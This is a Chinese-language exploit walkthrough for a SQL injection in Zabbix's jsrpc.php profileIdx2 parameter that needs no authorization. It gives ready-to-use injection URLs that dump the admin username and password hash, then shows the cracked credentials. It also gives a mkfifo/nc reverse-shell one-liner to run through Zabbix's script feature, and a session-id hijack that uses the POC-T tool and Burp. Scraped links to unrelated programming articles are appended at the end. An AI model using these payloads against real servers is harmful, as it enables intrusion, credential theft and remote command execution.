Zabbix 是一个开源的企业级性能监控解决方案。

官方网站:http://www.zabbix.com

Zabbix 的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆Zabbix管理系统,也可通过script等功能易直接获取Zabbix服务器的操作系统权限。

1.1. 漏洞利用条件

Zabbix 开启了guest权限。而在Zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

1.2. 影响版本

Zabbix 2.2.x, 3.0.0-3.0.3

通过浏览器直接访问Zabbix

0x01 注入

测试注入,可以发现页面将会报错,并出现如下信息

jsrpc.php?type=&method=screen.get&timestamp=&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=+or+updatexml(,md5(0x11),)+or+=)%&updateProfile=true&period=&stime=&resourcetype=

通过这个现象,即可得知漏洞存在。

利用这个漏洞,我们可以进行错误型sql注射,即可获取管理员的信息。

通过构造payload,获取用户名和密码信息

jsrpc.php?type=&method=screen.get&timestamp=&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=%20and%(select%%20from%(select%20count(*),concat((select(select%20concat(cast(concat(alias,0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%,),floor(rand()*))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&period=&stime=&resourcetype=

这个漏洞的问题参数在于profileIdx2,因此payload写在此处。

利用这个payload,可以成功获取到管理员的用户名和密码信息

Admin~5fce1b3e34b520afeffb37ce08c7cd66~~

通过md5解密,即可成功获得密码

到此为止,已经成功获取到了用户名和密码:Admin/zabbix

登录后台

0x02 后台getshell

进入web页面后,前往脚本页面利用zabbix自带的命令行实现反弹shell

创建如下的一个脚本

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh   -i >&|nc 攻击机ip地址    >/tmp/f

点击存档以后,在攻击机中开启一个接收shell端

nc -lvp 

在zabbix页面中,重新返回到首页。在下述位置点击执行脚本

执行成功以后,前往攻击机查看是否接收到shell

方法2

第一种方法属于直接获取管理员的密码信息进行登陆,但是有时候密码设置的很复杂,没办法破解的时候,可以采用方法2。

这个方法是通过sql注入漏洞获取Zabbix登陆用的sessionid,通过修改sessionid从而无需用户名密码即可直接登陆。

这里需要用到一个脚本

脚本地址:

https://github.com/Xyntax/POC-T

将这款工具在攻击机中安装成功,然后执行下面的命令

python POC-T.py -s zabbix-jsrpc-mysql-exp   -iS http://zabbix服务器的ip地址/zabbix/php

可以看到,直接即可获取到密码信息和sessionid

password_md5:Zabbix:5fce1b3e34b520afeffb37ce08c7cd66',   'Session_id:45e0bac4f0b73bb41706a70adec8a097')

接下来,我们使用burp进行抓包,修改sessionid直接登陆。

将cookie中的zbx_sessionid修改为我们找到的sessionid。

点击forward

接下来,我们可以看到,成功的进入后台中

Zabbix 2.2系列注入+getsehll的更多相关文章

  1. zabbix 爆高危 SQL 注入漏洞,可获系统权限(profileIdx 2 参数)

    漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统 ...

  2. zabbix监控系统系列

    来自网站:http://www.361way.com/zabbix-summarize/3335.html 一.zabbix的特点 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能 ...

  3. ZABBIX新功能系列1-使用Webhook将告警主动推送至第三方系统

    Zabbix5以来的新版本与以前的版本除UI界面变化较大外,在很多功能上也有许多亮点,我这里计划安排1个系列来和大家交流一些新功能的使用,这是第一篇:使用Webhook将告警主动推送至第三方系统. 首 ...

  4. zabbix latest.php SQL注入漏洞(CVE-2016-10134)

    Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本 latest.php页面提取cookie中的zbx_sessionid的后16位 246c58ba963457ef http://19 ...

  5. zabbix注入过程分析

    Zabbix jsrpc.php sql 注入过程分析 漏洞公开详情(https://support.zabbix.com/browse/ZBX-11023)中提示在insertDB() 中的inse ...

  6. zabbix 安装配置以及漏洞检测脚本

    最近zabbix爆出sql注入漏洞.之前一直没装过.就想着来安装一次.我在centos配置玩玩,记录一下:1.安装LAMP yum -y install httpd  mysql  mysql-ser ...

  7. Zabbix-20160817-高危SQL注入漏洞

    漏洞概述: zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系 ...

  8. Zabbix漏洞学习

    Zabbix介绍 zabbix([`zæbiks])是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案. zabbix能监视各种网络参数,保证服务器系统的安全运营:并提供灵 ...

  9. 我为NET狂~群福利:逆天书库

    我为NET狂-官方群① 238575862 爱学习,爱研究,福利不断,技能直彪~~ 最近更新:2016-08-30,欢迎补充 暂缺PDF: │ SQL Server 2012 Analysis Ser ...

随机推荐

  1. FreeSql (二十六)贪婪加载 Include、IncludeMany、Dto、ToList

    贪婪加载顾名思议就是把所有要加载的东西一次性读取. 本节内容为了配合[延时加载]而诞生,贪婪加载和他本该在一起介绍,开发项目的过程中应该双管齐下,才能写出高质量的程序. Dto 映射查询 Select ...

  2. Guava的RateLimiter实现接口限流

    最近开发需求中有需要对后台接口进行限流处理,整理了一下基本使用方法. 首先添加guava依赖: <dependency> <groupId>com.google.guava&l ...

  3. 小斌之SpringCloud 开发某某交易所

    最近一个月都在弄某某交易所,让之前学的东西能够用上,在这里分享一下收货的东西吧 #### 简介 系统是进行了二次开发,用的是ZTuo开源框架第一个版本,节省了很多时间(坑也挺多,哈哈哈),文章结尾贴源 ...

  4. 【Sentinel】sentinel 集成 apollo 最佳实践

    [Sentinel]sentinel 集成 apollo 最佳实践 前言   在 sentinel 的控制台设置的规则信息默认都是存在内存当中的.所以无论你是重启了 sentinel 的客户端还是 s ...

  5. 安装Winservices服务出现“设置服务登录”

    安装服务时出现  设置服务登录  窗口 别紧张   将serviceProcessInstaller1   Account 设置为LocalSystem 即可

  6. SpringCloud微服务笔记-Nginx实现网关反向代理

    背景 当前在SpringCloud微服务架构下,网关作为服务的入口尤为重要,一旦网关发生单点故障会导致整个服务集群瘫痪,为了保证网关的高可用可以通过Nginx的反向代理功能实现网关的高可用. 项目源码 ...

  7. numpy库使用总结

    numpy study 0x01:n维数组对象ndaarray 存放同类型元素的多维数组 0x02:numpy数据类型 numpy 的数值类型实际上是 dtype 对象的实例,并对应唯一的字符,包括 ...

  8. 这个注册的 IP 网络都不通了,Eureka 注册中心竟然无法踢掉它!

    本文导读: 微服务技术架构选型介绍 k8s 容器化部署架构方案 Eureka 注册中心问题场景 问题解决手段及原理剖析 阅读本文建议先了解: 注册中心基本原理 K8s(Kuberneters)基本概念 ...

  9. Kubernetes的Secret对象的使用

    Secret可以想要访问的加密数据,存放到Etcd中,Pod可以通过的Volume的方式,访问到Secret保存的信息 ,当数据修改的时候,Pod挂载的Secret文件也会被修改 一.创建Secret ...

  10. 23种设计模式之抽象工厂(Abstract Factory Pattern)

    抽象工厂 当想创建一组密不可分的对象时,工厂方法似乎就不够用了 抽象工厂是应对产品族概念的.应对产品族概念而生,增加新的产品线很容易,但是无法增加新的产品.比如,每个汽车公司可能要同时生产轿车.货车. ...